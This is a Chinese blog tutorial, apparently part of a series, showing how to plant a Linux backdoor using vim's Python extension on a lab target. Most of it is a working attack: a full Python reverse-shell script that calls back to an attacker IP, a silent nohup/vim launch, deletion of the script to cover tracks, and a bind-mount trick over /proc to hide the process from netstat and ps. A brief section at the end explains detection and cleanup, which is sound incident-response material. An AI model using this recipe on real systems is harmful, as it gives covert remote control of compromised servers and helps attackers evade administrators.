LINUX留后门--教程(八)—— vim+python文件后门

896 阅读5分钟

一、本教程作用

1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防

二、vim+python文件后门-教程

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu 20.04)
攻击IP: 192.168.241.128 (kali)

查看 Ubuntu 20.04 的 vim 支持情况:
可以得知 vim 支持 python3
在这里插入图片描述
注意:
如果服务器没有安装 python应用,可以通过vim编辑器启动python程序,因为如今的vim编辑器为了更好的支持python语言,默认是安装了python扩展,通过vim的python扩展,也可以去启动一个python程序。可通过“vim --version”查看是否已支持python扩展,如上图所示。

2.1python 文件后门

反弹shell的python脚本:

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.241.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

其实就是用python编写的一个简单的socket服务器端

2.1 将反弹shell的python脚本 shell.py 传到靶机

将反弹shell的python脚本 shell.py 传到靶机,放在桌面目录下
在这里插入图片描述

2.2 反弹 shell

kali 打开监听
在这里插入图片描述
靶机执行命令:vim -E -c "py3file shell.py"

-E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。
在这里插入图片描述
执行完之后靶机命令行界面就会一片空白如下图所示,属正常现象,此时关闭靶机命令行界面,也不会影响已经反弹回去的shell
在这里插入图片描述
此时 kali 接收到反弹的 shell
在这里插入图片描述
此时查看靶机上的连接,可以看到可疑的 vim 连接
在这里插入图片描述
但是这样的后门太明显了,netstat -anpt 一查就可以看到,而且 vim -E -c “py3file shell.py” 命令执行之后,还会有一个空白窗口。

2.3 隐藏后门

在上述反弹 shell 的过程中为了更好的隐藏后门,从以下两点出发:
1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口
2、将netstat -anpt 查看到的可疑连接隐藏起来

1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口,解决方法:

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

在这里插入图片描述
2、将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

接下来要把这个可疑连接隐藏起来
在这里插入图片描述
隐藏命令:

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

看下图,已经成功隐藏了进程名和进程ID,通过netstat和ps命令,均无法查看到进程名与进程ID,实战的时候监听的端口号可疑换成8088等具有迷惑性的端口号,可以更好的隐藏
在这里插入图片描述

三、vim 后门——应急响应发现

查看可疑连接,发现有一个 TCP三次握手都已经 ESTABLISHED (成功连接)的,但是没有PID和进程名,而且连接的地址也不正常

netstat -anpt

在这里插入图片描述
猜测肯能是被挂载隐藏了
那么可以使用命令:cat /proc/$$/mountinfo 查看系统所有挂载文件系统的信息
在这里插入图片描述
在查看的最下面发现了可疑挂载

1290 25 8:5 /root/null /proc/6238 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro
1351 25 8:5 /root/null /proc/6240 rw,relatime shared:1 - ext4 /dev/sda5 rw,errors=remount-ro

在这里插入图片描述
然后使用umount命令,取消对 6238、6240 的挂载,确认该进程是否为恶意进程。

umount /proc/6238
umount /proc/6240

在这里插入图片描述
查看pid 6238 执行的命令,是后门执行的命令

ps aux | grep 6238

在这里插入图片描述
全盘查找 shell.py 文件,发现已经被黑客删除
在这里插入图片描述
终止掉进程,后门清除成功!

kill -9 6238
kill -9 6240

在这里插入图片描述
在这里插入图片描述
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述